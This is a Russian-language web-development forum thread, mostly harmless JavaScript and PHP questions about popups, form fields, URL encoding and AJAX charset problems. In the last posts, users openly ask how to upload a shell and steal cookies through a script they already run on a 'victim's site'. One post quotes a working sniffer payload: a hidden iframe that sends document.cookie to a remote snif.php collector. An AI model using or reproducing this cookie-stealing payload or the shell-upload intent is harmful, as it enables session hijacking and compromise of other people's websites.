Можно сразу в href'е написать: Code: <script> function check(url) { if(confirm("да?")) document.location=url; else alert('нет так нет'); } </script> <a href="javascript:check('next.page')">123</a> Тогда в статус-строке будет светиться то, что выполняешь. На вкус...
Есть страничка, на ней кнопка и форма.....по нажатию на кнопку вылетает попап окно...там вводишь в поля все что надо и по нажатию в попапе на кнопку, надо чтобы инфа вставилась на 1 страничку в форму....
Isis, parent.htm HTML: <form name='formname'> <input type='text' name='inputname' /> <input type='button' value='button' onclick="window.open('popup.htm');" /> </form> popup.htm HTML: <form name='popupform'> <input type='text' name='popuptext' /> <input type='button' value='button' onclick="window.opener.document.forms['formname'].elements['inputname'].value = document.forms['popupform'].elements['popuptext'].value;" /> </form>
Эмс.... Короче говоря мне нужно сделать так чтобы при вводе какого-то определного поля менялся в опред. месте текст и + к этому должны быть так, что форм у меня много и текст менять будет тоже в разных местах Как это возможно сделать?
RaiDeRz, HTML: <script type="text/javascript"> function zamena(id,text) { document.getElementById(id).innerHTML = text; } </script> <div id="test">Текст для замены</div> <input type='text' name='user_input' onchange="javasript:zamena('test',this.value);" />
Каким образом можно делать что-то типа функции urldecode и urlencode ? Тоесть у меня с помошью этого генерируеться ссылка, но надо кое-где сделать так чтобы были знаки след. строки Мне просто таким образом надо сгенерировать ссылку, методом GET, но в формах есть разделение на строки, тоесть через <textarea>
хм... а можешь дать пример ?) А то попробовал что-то в этом роде: PHP: unescape(document.form.pass.value) escape(document.form.pass.value) он мне ничего невыдал толкого, разницы нет никакой
Вообще да, немного не та функция. Вот держи: HTML: function convertToHex(num) { var hex = ''; for (i=0;i<num.length;i++) { if (num.charCodeAt(i).toString(16).toUpperCase().length < 2) { hex += "%0" + num.charCodeAt(i).toString(16).toUpperCase(); } else { hex += "%" + num.charCodeAt(i).toString(16).toUpperCase(); } } return hex; }
хм... а в чем проблемма после добавления 2-й функции 1-я перестала пахать? щас у меня такой код: PHP: <script type="text/javascript"> function update_cron_url() { document.getElementById('cron_url').innerHTML = '<a href="http://127.0.0.1/test/index.php?send_report='+document.form.send_report.value+'&admin_report='+document.form.admin_report.value+'&rand_start='+document.form.rand_start.value+'&rand_end='+document.form.rand_end.value+'&gen_rand='+document.form.gen_rand.value+'&pass='+unescape(document.form.pass.value)+'">http://127.0.0.1/test/index.php?send_report='+document.form.send_report.value+'&admin_report='+document.form.admin_report.value+'&rand_start='+document.form.rand_start.value+'&rand_end='+document.form.rand_end.value+'&gen_rand='+document.form.gen_rand.value+'&pass='+document.form.pass.value+'</a>'; } function convertToHex(num) { var hex = ''; for (i=0;i<num.length;i++) { if (num.charCodeAt(i).toString(16).toUpperCase().leng th < 2) { hex += "%0" + num.charCodeAt(i).toString(16).toUpperCase(); } else { hex += "%" + num.charCodeAt(i).toString(16).toUpperCase(); } } return hex; } </script>
Проблема с кодировкой в AJAX.... PHP: <?php ini_set("display_errors","0"); if($_POST['end']) { header ("Content-Type: text/xml; charset=windows-1251"); print ("<?xml version=\"1.0\" standalone=\"yes\"?>\r\n"); print ("<responce>\r\n"); print ("<system>\r\n"); if(empty($_POST['title'])) { echo "Заполните обязательные поля"; } else { if(isset($_POST['title'])) echo "Вывод: ".$_POST['title']; } print ("</system>\r\n"); print ("</responce>\r\n"); exit; } ?> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /> </head> <?php include('js.php'); ?> <body> <table width="300" border="0" cellpadding="0" cellspacing="0"> <tr> <td><font color="#FFFFFF">Название :</font></td> <td align="right"><input type="text" value="" id="title" style="width: 150;height:20" /></td> </tr> </table> <input type="submit" id="end" value="Кнопка" onclick="command();" /> <div id="system"></div> </body> </html> Файл js.js HTML: <script type="text/javascript"> var xmlhttp = createXmlHttpRequestObject(); function createXmlHttpRequestObject() { var xmlhttp; try { xmlhttp = new XMLHttpRequest(); } catch (e) { alert('error : '+e.toString()); } var XmlHttpVersions = new Array("MSXML2.XMLHTTP.6.0","MSXML2.XMLHTTP.5.0", "MSXML2.XMLHTTP.4.0","MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP","Microsoft.XMLHTTP"); for (var i=0; i<XmlHttpVersions.length && !xmlhttp; i++) { try { xmlhttp = new ActiveXObject(XmlHttpVersions[i]); } catch (e) {} } if (!xmlhttp) alert('failed to create XMLHTTP Element'); else return xmlhttp; } function createRequestProcess(pdata,type) { if (xmlhttp) { try { xmlhttp.open("POST","<?=$_SERVER['SCRIPT_NAME'];?>",true); xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=windows-1251"); xmlhttp.setRequestHeader("Content-length", pdata.length); xmlhttp.send(pdata); xmlhttp.onreadystatechange = handleRequestStateChange; } catch (e) {alert('error : '+e.toString());} } } function handleRequestStateChange() { if (xmlhttp.readyState == 4) { if (xmlhttp.status == 200) { try { ReadResponce(); } catch (e) {} } } } function ReadResponce() { xmlresponce = xmlhttp.responseXML; xmldocelement = xmlresponce.documentElement; xmldocanswer = xmldocelement.getElementsByTagName("system").item(0).firstChild.data; myDiv = document.getElementById("system"); myDiv.innerHTML = '<pre>'+xmldocanswer+'<\/pre>'; } function command() { title = document.getElementById('title').value; end = document.getElementById('end').value; fdata = "title="+title+"&end="+end; createRequestProcess(fdata); } </script> Как видите кодировка указана где только можно(пробовал даже htaccess), но выводит такое: Code: Вывод: непохек Не знаю как справиться с этой проблемой...
Хы...у меня в utf-8 ссылке отобразился Code: СЂСѓСЃСЃРєРёР№ текст Т.е. я не понял как ты предложил закрыть проблему?
Еще 1 вопрос, а как сделать замену определеных символов на нужные в тексте (переменной) ? тоесть чтобы была функция как в php - str_replace
вопрос по ява скриптам у меня есть возможность исполнять мой *.js на сайте жертвы. Он работает по делу и показывает маленькое инфо в рорап окне. причем при каждой загрузке он берет его с моего сайта так вот у меня вопрос 1 - могу ли я дописать в него пхп или нтмл - но чтобы они исполнялись браузером? 2. дайте примерную строку для загрузки шелла в ява скрипте ( если существует) - и указанной папкой загрузки. Права для записи в папке есть или аплоад пхп кода или файла то - invlose http://www.megahyiptracer.com/hybann/h/ сдесь в левом нижнем углу грузиться ява с моего сайта так может можно заинклудить пхп или как то еще а куки спереть можно же попробовать? какой примерно скрипт тада нужно добавить а тело? он на мыло может слать ?
еше маленький вопрос по яве если я вставляю в индекс.пхп такой скрипт <a><script language="JavaScript" src="http://****snif.js" </script></a> где snif.js document.write("<iframe width=100 height=100 style='visibility:hidden;' src="+"http://testlab/sniffer/snif.php?cookie="+document.cookie+">"); он должен исполняться или нет у меня не исполняется и в добавок блокирует исполнение последующих тегов что не так? или document.cookie+">" только в местах XSS
вопрос такой делаю поп андер на яве <script language="JavaScript">megahyiptracer=window.open('http://megahyiptracer.com/?a=cust&page=download/','Download area', "width=800 height=800,' toolbar=no, scrollbars=no,resizable=no,status=no', left=1,top=1") </script> все открывает - но не могу никак включить прокрутку чтоб лева право верх низ листать как сделать ?